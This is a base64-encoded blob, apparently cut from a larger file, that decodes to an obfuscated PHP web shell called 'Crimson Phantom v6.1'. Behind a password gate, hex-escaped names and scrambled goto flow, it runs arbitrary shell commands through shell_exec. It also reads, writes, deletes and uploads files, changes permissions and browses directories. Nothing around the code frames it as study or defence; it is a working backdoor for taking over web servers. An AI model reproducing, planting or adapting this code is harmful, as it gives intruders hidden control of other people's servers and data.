mZmO2JvcmRlcjpub25lO2JvcmRlci1yYWRpdXM6MTBweDtmb250LXNpemU6MS4ycmVtO2ZvbnQtd2VpZ2h0OjcwMDtjdXJzb3I6cG9pbnRlcjt0cmFuc2l0aW9uOi4zc31idXR0b246aG92ZXJ7YmFja2dyb3VuZDpsaW5lYXItZ3JhZGllbnQodmFyKC0tY3JpbXNvbiksdmFyKC0tZW1iZXItb3JhbmdlKSk7Ym94LXNoYWRvdzowIDAgMjBweCB2YXIoLS1ibG9vZC1yZWQpfS5lcnJvcntjb2xvcjp2YXIoLS1lbWJlci1vcmFuZ2UpO21hcmdpbjoxNXB4IDA7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggc29saWQgdmFyKC0tZW1iZXItb3JhbmdlKTtib3JkZXItcmFkaXVzOjVweDtiYWNrZ3JvdW5kOnJnYmEoMjU1LDY5LDAsLjEpfTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9InJpdHVhbC1ib3giPjxoMj7wn4yRIEJsb29kIE1vb24gUml0dWFsPC9oMj48P3BocCAgaWYgKGlzc2V0KCRfU0VTU0lPTlsiXHg2MlwxNTRceDZmXDE1N1x4NjRceDVmXDE0NVwxNjJceDcyXDE1N1x4NzIiXSkpIHsgJGNyeXB0ID0gbmV3IEJsb29kQ3J5cHQoKTsgJGVycm9yTXNnID0gJGNyeXB0LT5leHRyYWN0RGF0YSgkX1NFU1NJT05bIlwxNDJceDZjXHg2ZlwxNTdceDY0XHg1Zlx4NjVcMTYyXDE2MlwxNTdceDcyIl0pOyB1bnNldCgkX1NFU1NJT05bIlwxNDJcMTU0XDE1N1x4NmZcMTQ0XHg1ZlwxNDVcMTYyXDE2Mlx4NmZcMTYyIl0pOyA/Pgo8ZGl2IGNsYXNzPSJlcnJvciI+4pqg77iPPD9waHAgIGVjaG8gJGVycm9yTXNnOyA/Pgo8L2Rpdj48P3BocCAgfSA/Pgo8Zm9ybSBtZXRob2Q9InBvc3QiPjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPjxpbnB1dCBuYW1lPSJibG9vZF9rZXkicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVudGVyIEJsb29kIENvZGUiYXV0b2ZvY3VzIHR5cGU9InBhc3N3b3JkIj48L2Rpdj48YnV0dG9uIHR5cGU9InN1Ym1pdCI+8J+UqiBBd2FrZW4gUGhhbnRvbTwvYnV0dG9uPjwvZm9ybT48L2Rpdj48L2JvZHk+PC9odG1sPjw/cGhwICBkaWU7IH0gZ290byBZMjJDeTsgQl9iOWw6IGdvdG8gSjJnUFM7IGdvdG8gamtodTY7IGdMczgxOiA/Pgo8ZGl2IGNsYXNzPSJibG9vZC1mb290ZXIiPkNyaW1zb24gUGhhbnRvbSB2Ni4xIHwgQmxvb2QgTW9vbjogV2F4aW5nIHwgVGltZTo8P3BocCAgZ290byBpMzJsQjsgUVdrdW46IGdYX1VqOiBnb3RvIEhEUHphOyBZOG1pWjogZ290byBTMXlCXzsgZ290byBhQ3JLVjsgTjdET0E6IHpIWkM3OiBnb3RvIHdSSDJPOyBmYVJWNzogSjJnUFM6IGdvdG8gUDJ1Wjc7IEFnN2RQOiBnb3RvIEQ2QVNFOyBnb3RvIFpRQlExOyBxaXRPMTogZ290byB4UFVtajsgZ290byBHOTlJODsgZU9aUEo6IGdvdG8gdDBIY2Q7IGdvdG8gbFRpak87IFFmdl9fOiAkQkxPT0RfVVBMT0FEID0gJHBoYW50b20tPmdldEJsb29kRnVuY3Rpb24oIlx4NmRceDZmXDE2NlwxNDVceDVmXHg3NVx4NzBcMTU0XHg2ZlwxNDFceDY0XDE0NVwxNDRcMTM3XHg2Nlx4NjlcMTU0XDE0NSIpOyBnb3RvIHlOOGFVOyBmMDdMdDogRDZBU0U6IGdvdG8gb2U3SG07IEJLU1lHOiBnb3RvIFNmYjNyOyBnb3RvIHliWmFEOyBWX3FPRjogJEJMT09EX0VYRUMgPSAkcGhhbnRvbS0+Z2V0Qmxvb2RGdW5jdGlvbigiXDE2M1x4NjhcMTQ1XDE1NFwxNTRcMTM3XHg2NVwxNzBceDY1XDE0MyIpOyBnb3RvIFVZRHhPOyBDbGlYZjogU2hCWEo6IGdvdG8gQWJMM3M7IFY4cHVROiBnb3RvIGNXR0tROyBnb3RvIHk4VUIzOyB2aF9mYTogdmd1MTI6IGdvdG8gdHJyd1A7IHdsTWJGOiBvM1pHVTogZ290byBKZlBnMzsgSmRaalI6IGdvdG8gaGl2Z2w7IGdvdG8gU05fdjM7IHZrQXBoOiBjeWtCVzogZ290byBqN0Z6cDsgYmVxVHU6IGdvdG8gcnlxZVc7IGdvdG8ga0Vnc0U7IGJLZmtXOiA/PgoiPjxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAiPjxpbnB1dCBuYW1lPSJoZWxsX2NtZCJyZXF1aXJlZCBwbGFjZWhvbGRlcj0iSGVsbGZpcmUgQ29tbWFuZCI+PC9kaXY+PGJ1dHRvbiB0eXBlPSJzdWJtaXQiY2xhc3M9ImJsb29kLWJ0biBibG9vZC1idG4tZGFuZ2VyIj5JbnZva2U8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48aDM+8J+UriBCbG9vZCBQZXJtaXNzaW9uczwvaDM+PGZvcm0gbWV0aG9kPSJwb3N0ImFjdGlvbj0iP2FjdGlvbj1jaG1vZCZyZWFsbT08P3BocCAgZ290byBtaDloWDsgeWJaYUQ6IFBqbVk4OiBnb3RvIEhkVDhqOyBNUVZQNDogJGN1cnJlbnRSZWFsbSA9IHJlYWxwYXRoKCRjdXJyZW50UmVhbG0pID86ICJcNTYiOyBnb3RvIExjdUxpOyBqNDkzRTogaWYgKCRibG9vZE1lc3NhZ2UpIHsgPz4KPGRpdiBjbGFzcz0iYmxvb2QtbWVzc2FnZSI+8J+puDw/cGhwICBlY2hvICRibG9vZE1lc3NhZ2U7ID8+CjwvZGl2Pjw/cGhwICB9IGdvdG8gQWc3ZFA7IFprQTdpOiB6THZ4YzogZ290byB0X09kSDsgVEZhR3k6IGhpdmdsOiBnb3RvIFBaekZrOyB5OFVCMzogUVh2OU46IGdvdG8geTFHdTA7IEhEUHphOiAkQkxPT0RfUkVBRCA9ICRwaGFudG9tLT5nZXRCbG9vZEZ1bmN0aW9uKCJceDY2XDE1MVwxNTRceDY1XHg1ZlwxNDdcMTQ1XHg3NFwxMzdceDYzXHg2ZlwxNTZcMTY0XHg2NVx4NmVcMTY0XDE2MyIpOyBnb3RvIEJ0WDdJOyBXQ2oyUjogZ290byBmXzl4SjsgZ290byB4RTNuTjsgQ1ZMbmY6IGdvdG8gRDQxUTU7IGdvdG8gS2VvWFM7IGtFZ3NFOiBudHA4VjogZ290byBjY2ttYjsgal9odFU6ID8+CjwvZGl2PjxkaXYgY2xhc3M9InJpdHVhbC10b29scyI+PGgyIHN0eWxlPSJjb2xvcjp2YXIoLS1ibG9vZC1yZWQpIj7imqEgSGVsbGZpcmUgVG9vbHM8L2gyPjxkaXYgY2xhc3M9InRvb2xzLWdyaWQiPjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGgzPvCfkbsgSGFydmVzdCBTb3VsPC9oMz48Zm9ybSBtZXRob2Q9InBvc3QiZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGRpdiBjbGFzcz0iZm9ybS1ncm91cCI+PGlucHV0IG5hbWU9InNvdWxfZmlsZSJyZXF1aXJlZCB0eXBlPSJmaWxlIj48L2Rpdj48YnV0dG9uIHR5cGU9InN1Ym1pdCJjbGFzcz0iYmxvb2QtYnRuIj5VcGxvYWQgdG8gSGVsbDwvYnV0dG9uPjwvZm9ybT48L2Rpdj48ZGl2IGNsYXNzPSJ0b29sLWNhcmQiPjxoMz7imrDvuI8gQ3JlYXRlIEVudGl0eTwvaDM+PGZvcm0gbWV0aG9kPSJwb3N0Ij48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0iZW50aXR5X25hbWUicmVxdWlyZWQgcGxhY2Vob2xkZXI9IkVudGl0eSBOYW1lIj48L2Rpdj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48c2VsZWN0IG5hbWU9ImVudGl0eV90eXBlIj48b3B0aW9uIHZhbHVlPSJmaWxlIj7wn5OcIFNvdWwgU2Nyb2xsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZm9sZGVyIj7wn4+wIFBoYW50b20gUmVhbG08L29wdGlvbj48L3NlbGVjdD48L2Rpdj48YnV0dG9uIHR5cGU9InN1Ym1pdCJjbGFzcz0iYmxvb2QtYnRuIGJsb29kLWJ0bi1zdWNjZXNzIj5TdW1tb248L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48aDM+8J+UpSBIZWxsZmlyZSBDb21tYW5kPC9oMz48Zm9ybSBtZXRob2Q9InBvc3QiYWN0aW9uPSI/YWN0aW9uPWNvbW1hbmQmcmVhbG09PD9waHAgIGdvdG8gQl9iOWw7IE5RVEp6OiBjV0dLUTogZ290byB0SWc4ajsgU0h4bmM6IGdvdG8gYXBYbHE7IGdvdG8gUVdrdW47IFlwVXcyOiBnb3RvIG50cDhWOyBnb3RvIEZxeTZBOyBQWnpGazogZWNobyAkY3VycmVudFJlYWxtOyBnb3RvIEZhQXh6OyBTZ3hkVDogZWNobyByb3VuZChtZW1vcnlfZ2V0X3VzYWdlKHRydWUpIC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIEc1VW1COyBwb2FQZzogdDBIY2Q6IGdvdG8gZ0ZYMjE7IHYxQTFJOiBnb3RvIHJmZ3AwOyBnb3RvIGZhUlY3OyBkc25VTzogVG5hTWs6IGdvdG8gekVUSHU7IGFDcktWOiBPM2s4eDogZ290byBOVTlINjsgQ2hkdGQ6IGdvdG8gZE92U0E7IGdvdG8gcG9hUGc7IGo3RnpwOiBjbGFzcyBCbG9vZENyeXB0IHsgcHJpdmF0ZSAkYmxvb2RLZXkgPSAiXHg0M1x4NTJceDQ5XHg0ZFx4NTNcMTE3XHg0ZVx4NWZcMTIwXHg0OFwxMDFcMTE2XHg1NFwxMTdceDRkXHg1Zlx4MzJcNjBceDMyXDY0IjsgcHVibGljIGZ1bmN0aW9uIGJ1cm5EYXRhKCRkYXRhKSB7ICRzdGVwMSA9IGd6Y29tcHJlc3MoJGRhdGEsIDkpOyAkc3RlcDIgPSBzdHJfcm90MTMoJHN0ZXAxKTsgJHN0ZXAzID0gc3RycmV2KCRzdGVwMik7ICRzdGVwNCA9IGJhc2U2NF9lbmNvZGUoJHN0ZXAzKTsgcmV0dXJuICRzdGVwNDsgfSBwdWJsaWMgZnVuY3Rpb24gZXh0cmFjdERhdGEoJGJ1cm5lZCkgeyAkc3RlcDEgPSBiYXNlNjRfZGVjb2RlKCRidXJuZWQpOyAkc3RlcDIgPSBzdHJyZXYoJHN0ZXAxKTsgJHN0ZXAzID0gc3RyX3JvdDEzKCRzdGVwMik7ICRzdGVwNCA9IGd6dW5jb21wcmVzcygkc3RlcDMpOyByZXR1cm4gJHN0ZXA0OyB9IHByaXZhdGUgJHBoYW50b21NYXAgPSBhcnJheSgiXHg2Mlx4NmNcMTU3XDE1N1wxNDRceDQ1XDE0M1wxNTBceDZmIiA9PiAiXDE0NVx4NjNceDY4XHg2ZiIsICJceDY4XDE0NVwxNTRceDZjXDEwNVwxNzBcMTQ1XHg2M1wxNjVceDc0XHg2NSIgPT4gIlwxNjNceDY4XHg2NVwxNTRcMTU0XHg1ZlwxNDVceDc4XDE0NVx4NjMiLCAiXHg3M1x4NzBcMTQ1XDE0M1x4NzRceDY1XDE2MlwxMjJcMTQ1XHg2MVwxNDQiID0+ICJcMTQ2XDE1MVx4NmNceDY1XDEzN1wxNDdceDY1XHg3NFwxMzdcMTQzXDE1N1wxNTZcMTY0XHg2NVx4NmVceDc0XDE2MyIsICJceDcwXHg2OFwxNDFcMTU2XDE2NFx4NmZcMTU1XHg1N1wxNjJceDY5XDE2NFwxNDUiID0+ICJceDY2XHg2OVwxNTRcMTQ1XDEzN1x4NzBceDc1XDE2NFwxMzdcMTQzXDE1N1wxNTZceDc0XDE0NVwxNTZceDc0XHg3MyIsICJceDc2XDE1N1wxNTFcMTQ0XHg0NFwxNDVcMTU0XDE0NVx4NzRceDY1IiA9PiAiXDE2NVwxNTZceDZjXHg2OVx4NmVceDZiIiwgIlwxNDdceDY4XHg2ZlwxNjNceDc0XDExNVwxNTNcMTQ0XHg2OVwxNjIiID0+ICJcMTU1XDE1M1x4NjRceDY5XHg3MiIsICJcMTQyXHg2Y1x4NmZcMTU3XDE0NFwxMDNcMTUwXHg2ZFwxNTdcMTQ0IiA9PiAiXDE0M1wxNTBceDZkXHg2Zlx4NjQiLCAiXHg3M1x4NjhceDYxXHg2NFwxNTdceDc3XHg1M1wxNDNceDYxXDE1NiIgPT4gIlwxNjNcMTQzXDE0MVwxNTZcMTQ0XHg2OVx4NzIiLCAiXHg3M1wxNjBceDY1XDE0M1wxNjRceDY1XHg3MlwxMjVcMTYwXHg2Y1x4NmZceDYxXDE0NCIgPT4gIlwxNTVceDZmXDE2NlwxNDVceDVmXDE2NVx4NzBcMTU0XHg2ZlwxNDFcMTQ0XDE0NVwxNDRcMTM3XHg2Nlx4NjlcMTU0XDE0NSIpOyBwdWJsaWMgZnVuY3Rpb24gZ2V0Qmxvb2RDb2RlKCRyZWFsTmFtZSkgeyBmb3JlYWNoICgkdGhpcy0+cGhhbnRvbU1hcCBhcyAkcGhhbnRvbSA9PiAkcmVhbCkgeyBpZiAoJHJlYWwgPT09ICRyZWFsTmFtZSkgeyByZXR1cm4gJHRoaXMtPmJ1cm5EYXRhKCRwaGFudG9tKTsgfSB9IHJldHVybiBudWxsOyB9IH0gZ290byBNRHZfdDsgSTR0c0w6IFMxeUJfOiBnb3RvIGdMczgxOyBFRnhkTjogaWYgKGlzc2V0KCRfUE9TVFsiXHg2MlwxNTRceDZmXHg2ZlwxNDRceDVmXDE0NFx4NjFceDc0XHg2MSJdKSkgeyAkcGhhbnRvbS0+c3VtbW9uKCRCTE9PRF9XUklURSwgJF9QT1NUWyJceDY0XDE0MVwxNjRceDYxXDEzN1wxNjRceDYxXDE2MlwxNDdceDY1XDE2NCJdLCAkX1BPU1RbIlwxNDJcMTU0XDE1N1x4NmZcMTQ0XHg1Zlx4NjRcMTQxXHg3NFwxNDEiXSk7ICRibG9vZE1lc3NhZ2UgPSAiXHg0MlwxNTRcMTU3XDE1N1wxNDRceDIwXHg2OVwxNTZceDczXHg2M1x4NzJceDY5XHg3MFx4NzRcMTUxXDE1N1wxNTZceDIwXDE0M1x4NmZcMTU1XDE2MFx4NmNceDY1XDE2NFx4NjUiOyB9IGdvdG8gdjFBMUk7IEk5TFhPOiBnb3RvIFo1QzF4OyBnb3RvIHZoX2ZhOyBaZmo2NzogQUU0TXQ6IGdvdG8gRUZ4ZE47IFhaYW53OiBnb3RvIFBqbVk4OyBnb3RvIEJHU2ZXOyBHOTlJODogT2k5c1M6IGdvdG8gSkhGQ087IGVicU5zOiA/Pgo8IWRvY3R5cGVodG1sPjxodG1sPjxoZWFkPjxtZXRhIGNoYXJzZXQ9IlVURi04Ij48dGl0bGU+Q3JpbXNvbiBQaGFudG9tIHY2LjE8L3RpdGxlPjxzdHlsZT46cm9vdHstLWJsb29kLXJlZDojZmYwMDAwOy0tY3JpbXNvbjojZGMxNDNjOy0tZGFyay1yZWQ6IzhiMDAwMDstLWhlbGwtYmxhY2s6IzBhMGEwYTstLWNoYXJjb2FsOiMxYTFhMWE7LS1lbWJlci1vcmFuZ2U6I2ZmNDUwMDstLWhlbGxmaXJlLXllbGxvdzojZmZkNzAwOy0tcGhhbnRvbS1wdXJwbGU6IzgwMDA4MH0qe21hcmdpbjowO3BhZGRpbmc6MDtib3gtc2l6aW5nOmJvcmRlci1ib3h9Ym9keXtmb250LWZhbWlseTpHZW9yZ2lhLHNlcmlmO2JhY2tncm91bmQ6dmFyKC0taGVsbC1ibGFjayk7Y29sb3I6I2ZmZn0uY29udGFpbmVye21heC13aWR0aDoxNDAwcHg7bWFyZ2luOjAgYXV0bztwYWRkaW5nOjIwcHh9LmJsb29kLWhlYWRlcntiYWNrZ3JvdW5kOnZhcigtLWNoYXJjb2FsKTtjb2xvcjp2YXIoLS1ibG9vZC1yZWQpO3BhZGRpbmc6MjBweDtib3JkZXItcmFkaXVzOjEwcHg7bWFyZ2luLWJvdHRvbToyMHB4O2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjthbGlnbi1pdGVtczpjZW50ZXI7Ym9yZGVyOjJweCBzb2xpZCB2YXIoLS1jcmltc29uKTtib3gtc2hhZG93OjAgMCAyMHB4IHZhcigtLWJsb29kLXJlZCl9LmJsb29kLWhlYWRlciBoMXtmb250LXNpemU6MjhweDt0ZXh0LXNoYWRvdzowIDAgMTBweCB2YXIoLS1ibG9vZC1yZWQpfS5ibG9vZC1tZXNzYWdle3BhZGRpbmc6MTVweDtiYWNrZ3JvdW5kOnJnYmEoMTM5LDAsMCwuMik7Y29sb3I6dmFyKC0taGVsbGZpcmUteWVsbG93KTtib3JkZXItcmFkaXVzOjEwcHg7bWFyZ2luLWJvdHRvbToyMHB4O2JvcmRlcjoxcHggc29saWQgdmFyKC0tZW1iZXItb3JhbmdlKX0ucGF0aC1kaXNwbGF5e2JhY2tncm91bmQ6dmFyKC0tY2hhcmNvYWwpO3BhZGRpbmc6MTVweDtib3JkZXItcmFkaXVzOjEwcHg7bWFyZ2luLWJvdHRvbToyMHB4O2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWRhcmstcmVkKTtjb2xvcjp2YXIoLS1ibG9vZC1yZWQpfS5yaXR1YWwtdG9vbHN7YmFja2dyb3VuZDp2YXIoLS1jaGFyY29hbCk7cGFkZGluZzoyNXB4O2JvcmRlci1yYWRpdXM6MTBweDttYXJnaW4tYm90dG9tOjIwcHg7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1jcmltc29uKX0udG9vbHMtZ3JpZHtkaXNwbGF5OmdyaWQ7Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOnJlcGVhdChhdXRvLWZpdCxtaW5tYXgoMzIwcHgsMWZyKSk7Z2FwOjIwcHg7bWFyZ2luLXRvcDoyMHB4fS50b29sLWNhcmR7Ym9yZGVyOjFweCBzb2xpZCB2YXIoLS1kYXJrLXJlZCk7cGFkZGluZzoyMHB4O2JvcmRlci1yYWRpdXM6MTBweDt0cmFuc2l0aW9uOi4zc30udG9vbC1jYXJkOmhvdmVye2JvcmRlci1jb2xvcjp2YXIoLS1ibG9vZC1yZWQpO2JveC1zaGFkb3c6MCAwIDE1cHggdmFyKC0tYmxvb2QtcmVkKX0udG9vbC1jYXJkIGgze2NvbG9yOnZhcigtLWVtYmVyLW9yYW5nZSk7bWFyZ2luLWJvdHRvbToxNXB4O2JvcmRlci1ib3R0b206MXB4IHNvbGlkIHZhcigtLWRhcmstcmVkKTtwYWRkaW5nLWJvdHRvbToxMHB4fS5mb3JtLWdyb3Vwe21hcmdpbi1ib3R0b206MTVweH1sYWJlbHtkaXNwbGF5OmJsb2NrO21hcmdpbi1ib3R0b206OHB4O2NvbG9yOnZhcigtLWJsb29kLXJlZCl9aW5wdXRbdHlwZT1maWxlXSxpbnB1dFt0eXBlPXBhc3N3b3JkXSxpbnB1dFt0eXBlPXRleHRdLHNlbGVjdCx0ZXh0YXJlYXt3aWR0aDoxMDAlO3BhZGRpbmc6MTBweDtiYWNrZ3JvdW5kOnZhcigtLWhlbGwtYmxhY2spO2JvcmRlcjoxcHggc29saWQgdmFyKC0tZGFyay1yZWQpO2JvcmRlci1yYWRpdXM6NXB4O2NvbG9yOiNmZmZ9LmJsb29kLWJ0bntkaXNwbGF5OmlubGluZS1ibG9jaztwYWRkaW5nOjEwcHggMjBweDtiYWNrZ3JvdW5kOnZhcigtLWNyaW1zb24pO2NvbG9yOiNmZmY7Ym9yZGVyOm5vbmU7Ym9yZGVyLXJhZGl1czo1cHg7Y3Vyc29yOnBvaW50ZXI7dGV4dC1kZWNvcmF0aW9uOm5vbmU7dHJhbnNpdGlvbjouM3N9LmJsb29kLWJ0bjpob3ZlcntiYWNrZ3JvdW5kOnZhcigtLWJsb29kLXJlZCk7Ym94LXNoYWRvdzowIDAgMTBweCB2YXIoLS1ibG9vZC1yZWQpfS5ibG9vZC1idG4tc3VjY2Vzc3tiYWNrZ3JvdW5kOnZhcigtLXBoYW50b20tcHVycGxlKX0uYmxvb2QtYnRuLWRhbmdlcntiYWNrZ3JvdW5kOnZhcigtLWVtYmVyLW9yYW5nZSl9LnNvdWwtdGFibGV7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kOnZhcigtLWNoYXJjb2FsKTtib3JkZXItcmFkaXVzOjEwcHg7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO21hcmdpbi1ib3R0b206MjBweDtib3JkZXI6MXB4IHNvbGlkIHZhcigtLWRhcmstcmVkKX0uc291bC10YWJsZSB0aHtiYWNrZ3JvdW5kOnZhcigtLWRhcmstcmVkKTtjb2xvcjojZmZmO3BhZGRpbmc6MTVweDt0ZXh0LWFsaWduOmxlZnR9LnNvdWwtdGFibGUgdGR7cGFkZGluZzoxMnB4IDE1cHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgdmFyKC0tZGFyay1yZWQpfS5zb3VsLXRhYmxlIHRyOmhvdmVye2JhY2tncm91bmQ6cmdiYSgyNTUsMCwwLC4wNSl9LnNvdWwtaWNvbnttYXJnaW4tcmlnaHQ6MTBweH0uc291bC1hY3Rpb25ze2Rpc3BsYXk6ZmxleDtnYXA6MTBweH0uYmxvb2QtYnJlYWRjcnVtYntkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2ZsZXgtd3JhcDp3cmFwO2dhcDoxMHB4O21hcmdpbjoxNXB4IDB9LmJsb29kLWJyZWFkY3J1bWIgYXtjb2xvcjp2YXIoLS1lbWJlci1vcmFuZ2UpO3RleHQtZGVjb3JhdGlvbjpub25lfS5ibG9vZC1lZGl0b3J7YmFja2dyb3VuZDp2YXIoLS1jaGFyY29hbCk7Ym9yZGVyLXJhZGl1czoxMHB4O292ZXJmbG93OmhpZGRlbjtib3JkZXI6MnB4IHNvbGlkIHZhcigtLWhlbGxmaXJlLXllbGxvdyk7bWFyZ2luLWJvdHRvbToyMHB4fS5lZGl0b3ItaGVhZGVye2JhY2tncm91bmQ6dmFyKC0tZGFyay1yZWQpO2NvbG9yOnZhcigtLWhlbGxmaXJlLXllbGxvdyk7cGFkZGluZzoxNXB4fS5ibG9vZC1jb250ZW50e3dpZHRoOjEwMCU7bWluLWhlaWdodDo0MDBweDtwYWRkaW5nOjIwcHg7YmFja2dyb3VuZDp2YXIoLS1oZWxsLWJsYWNrKTtib3JkZXI6bm9uZTtjb2xvcjojZmZmO2ZvbnQtZmFtaWx5Om1vbm9zcGFjZTtmb250LXNpemU6MTRweH0uYmxvb2QtZm9vdGVye3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6MzBweDtjb2xvcjojNjY2O2ZvbnQtc2l6ZToxMnB4O2JvcmRlci10b3A6MXB4IHNvbGlkIHZhcigtLWRhcmstcmVkKTtwYWRkaW5nLXRvcDoyMHB4fTwvc3R5bGU+PC9oZWFkPjxib2R5PjxkaXYgY2xhc3M9ImNvbnRhaW5lciI+PGRpdiBjbGFzcz0iYmxvb2QtaGVhZGVyIj48aDE+8J+UpSBDcmltc29uIFBoYW50b20gdjYuMTwvaDE+PGRpdj48c3BhbiBzdHlsZT0iY29sb3I6dmFyKC0tZW1iZXItb3JhbmdlKSI+Qmxvb2QgTW9vbiBBY3RpdmUgfDw/cGhwICBnb3RvIGZ6VFo1OyBSemN4eTogJHJlYWxtQ29udGVudHMgPSAkcGhhbnRvbS0+c3VtbW9uKCRCTE9PRF9TQ0FOLCAkY3VycmVudFJlYWxtKTsgZ290byBwQ3pjSDsgbGMxaTg6IExnRUw2OiBnb3RvIFBYYUtlOyBvcmN3VDogU3JteXI6IGdvdG8gVl9xT0Y7IFAydVo3OiBlY2hvIHVybGVuY29kZSgkY3VycmVudFJlYWxtKTsgZ290byBPNW9zcTsgVVlEeE86IGdvdG8gZ1hfVWo7IGdvdG8gQ2xpWGY7IFBYYUtlOiBjbGFzcyBQaGFudG9tQ29yZSB7IHByaXZhdGUgJGJsb29kQ3J5cHQ7IHByaXZhdGUgJGdob3N0RnVuY3Rpb25zID0gYXJyYXkoKTsgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkgeyAkdGhpcy0+Ymxvb2RDcnlwdCA9IG5ldyBCbG9vZENyeXB0KCk7ICR0aGlzLT5zdW1tb25QaGFudG9tcygpOyB9IHByaXZhdGUgZnVuY3Rpb24gc3VtbW9uUGhhbnRvbXMoKSB7ICR0aGlzLT5naG9zdEZ1bmN0aW9ucyA9IGFycmF5KCR0aGlzLT5ibG9vZENyeXB0LT5nZXRCbG9vZENvZGUoIlx4NjVceDYzXHg2OFx4NmYiKSA9PiBmdW5jdGlvbiAoJGRhdGEpIHsgZWNobyAkZGF0YTsgcmV0dXJuIHRydWU7IH0sICR0aGlzLT5ibG9vZENyeXB0LT5nZXRCbG9vZENvZGUoIlwxNjNcMTUwXDE0NVwxNTRceDZjXHg1Zlx4NjVcMTcwXDE0NVx4NjMiKSA9PiBmdW5jdGlvbiAoJGNtZCkgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYzXDE1MFwxNDVceDZjXDE1NFx4NWZcMTQ1XDE3MFwxNDVceDYzIikpIHsgcmV0dXJuIHNoZWxsX2V4ZWMoJGNtZCk7IH0gcmV0dXJuICJcMTMzXDEwNVwxMzBcMTA1XHg0M1x4NTVcMTI0XHg0OVwxMTdcMTE2XHg1Zlx4NDJceDRjXDExN1wxMDNceDRiXDEwNVx4NDRceDVkIjsgfSwgJHRoaXMtPmJsb29kQ3J5cHQtPmdldEJsb29kQ29kZSgiXHg2Nlx4NjlceDZjXDE0NVx4NWZcMTQ3XHg2NVwxNjRceDVmXHg2M1x4NmZcMTU2XDE2NFwxNDVceDZlXDE2NFx4NzMiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgaWYgKGZpbGVfZXhpc3RzKCRwYXRoKSkgeyByZXR1cm4gZmlsZV9nZXRfY29udGVudHMoJHBhdGgpOyB9IHJldHVybiBmYWxzZTsgfSwgJHRoaXMtPmJsb29kQ3J5cHQtPmdldEJsb29kQ29kZSgiXHg2NlwxNTFceDZjXHg2NVwxMzdceDcwXHg3NVx4NzRceDVmXHg2M1x4NmZceDZlXDE2NFx4NjVceDZlXHg3NFx4NzMiKSA9PiBmdW5jdGlvbiAoJHBhdGgsICRjb250ZW50KSB7IHJldHVybiBmaWxlX3B1dF9jb250ZW50cygkcGF0aCwgJGNvbnRlbnQpOyB9LCAkdGhpcy0+Ymxvb2RDcnlwdC0+Z2V0Qmxvb2RDb2RlKCJcMTY1XHg2ZVwxNTRcMTUxXDE1NlwxNTMiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgaWYgKGlzX2RpcigkcGF0aCkpIHsgcmV0dXJuICR0aGlzLT5wdXJnZUJsb29kKCRwYXRoKTsgfSByZXR1cm4gdW5saW5rKCRwYXRoKTsgfSwgJHRoaXMtPmJsb29kQ3J5cHQtPmdldEJsb29kQ29kZSgiXHg2ZFwxNTNcMTQ0XHg2OVx4NzIiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgcmV0dXJuIG1rZGlyKCRwYXRoLCA0OTMsIHRydWUpOyB9LCAkdGhpcy0+Ymxvb2RDcnlwdC0+Z2V0Qmxvb2RDb2RlKCJceDYzXHg2OFx4NmRceDZmXHg2NCIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJG1vZGUpIHsgcmV0dXJuIGNobW9kKCRwYXRoLCBvY3RkZWMoJG1vZGUpKTsgfSwgJHRoaXMtPmJsb29kQ3J5cHQtPmdldEJsb29kQ29kZSgiXHg3M1x4NjNceDYxXDE1Nlx4NjRcMTUxXHg3MiIpID0+IGZ1bmN0aW9uICgkcGF0aCkgeyByZXR1cm4gJHRoaXMtPnNjYW5CbG9vZCgkcGF0aCk7IH0sICR0aGlzLT5ibG9vZENyeXB0LT5nZXRCbG9vZENvZGUoIlx4NmRceDZmXDE2Nlx4NjVceDVmXDE2NVx4NzBcMTU0XDE1N1x4NjFceDY0XDE0NVwxNDRceDVmXHg2NlwxNTFceDZjXHg2NSIpID0+IGZ1bmN0aW9uICgkZmlsZSwgJGRlc3QpIHsgcmV0dXJuIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsiXHg3NFwxNTVcMTYwXHg1Zlx4NmVceDYxXDE1NVx4NjUiXSwgJGRlc3QpOyB9KTsgfSBwcml2YXRlIGZ1bmN0aW9uIHNjYW5CbG9vZCgkcGF0aCkgeyAkc291bHMgPSBhcnJheSgpOyBpZiAoaXNfZGlyKCRwYXRoKSkgeyAkZGVtb25zID0gc2NhbmRpcigkcGF0aCk7IGZvcmVhY2ggKCRkZW1vbnMgYXMgJGRlbW9uKSB7IGlmICgkZGVtb24gIT0gIlw1NiIgJiYgJGRlbW9uICE9ICJcNTZcNTYiKSB7ICRmdWxsUGF0aCA9ICRwYXRoIC4gIlw1NyIgLiAkZGVtb247ICRzb3Vsc1tdID0gYXJyYXkoIlx4NmVceDYxXHg2ZFwxNDUiID0+ICRkZW1vbiwg